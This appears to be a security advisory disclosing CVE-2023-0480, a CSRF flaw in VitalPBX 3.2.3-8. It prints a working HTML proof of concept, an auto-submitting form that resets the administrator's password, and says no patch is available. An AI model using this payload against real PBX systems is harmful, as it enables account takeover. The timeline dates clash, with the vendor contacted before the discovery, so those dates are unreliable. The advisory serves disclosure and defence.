VitalPBX 3.2.3-8 - Account Takeover via CSRF
Summary
| Name | VitalPBX 3.2.3-8 - Account Takeover via CSRF |
| Code name | |
| Product | VitalPBX |
| Affected versions | 3.2.3-8 |
| State | Public |
| Release date | 2023-04-10 |
Vulnerability
| Kind | Cross-site request forgery |
| Rule | |
| Remote | Yes |
| CVSSv3.1 Vector | CVSS:AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N |
| CVSSv3.1 Base Score | 6.5 |
| Exploit available | No |
| CVE ID(s) |
Description
VitalPBX version 3.2.3-8 allows an unauthenticated external attacker to obtain the instance administrator's account. This is possible because the application is vulnerable to CSRF.
Vulnerability
This vulnerability occurs because the application is vulnerable to CSRF.
Exploit
To exploit this vulnerability, we only need to send the administrator a malicious HTML like the following.
<!DOCTYPE html> <html> <body> <form action="http://137.184.73.151/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="user_id" value="1" /> <input type="hidden" name="class" value="user_profile" /> <input type="hidden" name="method" value="put" /> <input type="hidden" name="mode" value="edit" /> <input type="hidden" name="username" value="admin" /> <input type="hidden" name="email" value="" /> <input type="hidden" name="password" value="hacked" /> <input type="hidden" name="role" value="1" /> <input type="hidden" name="startapp" value="dashboard" /> <input type="hidden" name="startapp_custom" value="" /> <input type="hidden" name="displayname" value="Administrator" /> <input type="hidden" name="department" value="Administración" /> <input type="hidden" name="userphoto" value="" /> <input type="hidden" name="userphoto" value="" /> <input type="hidden" name="userphoto_configured" value="" /> <input type="hidden" name="theme" value="vital_pbx" /> <input type="hidden" name="locale" value="en_US" /> <input type="hidden" name="timezone" value="system" /> <input type="hidden" name="multitab" value="1" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
Evidence of exploitation
Our security policy
We have reserved the ID CVE-2023-0480 to refer to this issue from now on.
System Information
-
Version: VitalPBX 3.2.3-8
-
Operating System: GNU/Linux
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.
References
Vendor page https://vitalpbx.com/
Timeline
2023-01-24
Vulnerability discovered.
2022-01-24
Vendor contacted.
2023-04-10
Public Disclosure.
